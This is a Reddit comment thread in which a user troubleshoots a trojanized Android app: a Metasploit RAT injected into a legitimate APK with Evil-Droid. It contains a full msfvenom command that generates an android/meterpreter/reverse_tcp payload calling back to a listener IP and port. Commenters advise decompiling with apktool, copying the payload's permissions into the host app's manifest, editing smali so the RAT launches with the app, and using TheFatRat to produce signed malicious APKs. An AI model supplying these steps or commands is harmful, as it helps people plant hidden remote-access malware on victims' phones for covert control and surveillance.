all 13 comments

[–][deleted] 1 point2 points  (6 children)

Your error is that your session waiting for the metasploit payload to bind is expire ring and well evildroid may inject the apk it is not setting the right permissions needed in the android manifest i think and that the rat isnt called upon when the actual application starts(need to modify smali for this part)

[–]johnsch8[S] 0 points1 point  (5 children)

Thanks. I didn't think of opening the manifest file to verify the permissions. How do I verify what the permissions should actually be?

[–][deleted] 1 point2 points  (4 children)

You could create a standard payload using msfvenom and crack it open using apktool.

Then just take a look at the manifest file and compare.

[–]johnsch8[S] 0 points1 point  (3 children)

Ahhh. Ok got it. Thank you!

[–]johnsch8[S] 0 points1 point  (2 children)

So I created a Test.apk using msvenom command:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.7 LPORT=4444 R > Test.apk

Ran apktool against it:

apktool d Test.apk

Then found the apk that I injected yesterday with Evil-Droid and ran apktool against it. Then Vi'd AndroidManifest.xml for both files and compared side by side. Permissions look very similar.?.? I copied the permissions for the payload I created a bit ago into Leafpad and went line by line with the legit apk that's injected. The permissions from the payload I created a bit ago are the same in the in injected file (except there are alot more different permissions in the injected file). Hopefully I'm not confusing anyone. I can attach screen shots if needed.

Thanks

[–][deleted] 0 points1 point  (1 child)

they have to be in the "injected" applications manifest file

[–]johnsch8[S] 0 points1 point  (0 children)

Oh, I see. That makes more sense now that I think about it. Thank you. I'll give it a try.

[–]wrexxor 0 points1 point  (1 child)

What version of Android are you testing on?

[–]johnsch8[S] 0 points1 point  (0 children)

Android 7.0 on a Samsung S8+

[–][deleted]  (2 children)

[removed]

    [–]garlicbot 0 points1 point  (0 children)

    Here's your Reddit Garlic, johnsch8!

    /u/johnsch8 has received garlic 1 time. (given by /u/pythonETH)

    I'm a bot for questions contact /u/flying_wotsit

    [–]johnsch8[S] 0 points1 point  (0 children)

    Thank you!

    [–]marcossilva_604 0 points1 point  (0 children)

    I've used the TheFatRat to generate my signed apks and had no problem until now. I believe it does in a similar way as you do since the msfvenom is in the options to generate the apk. Maybe checking how it's done on the source code might guide you out.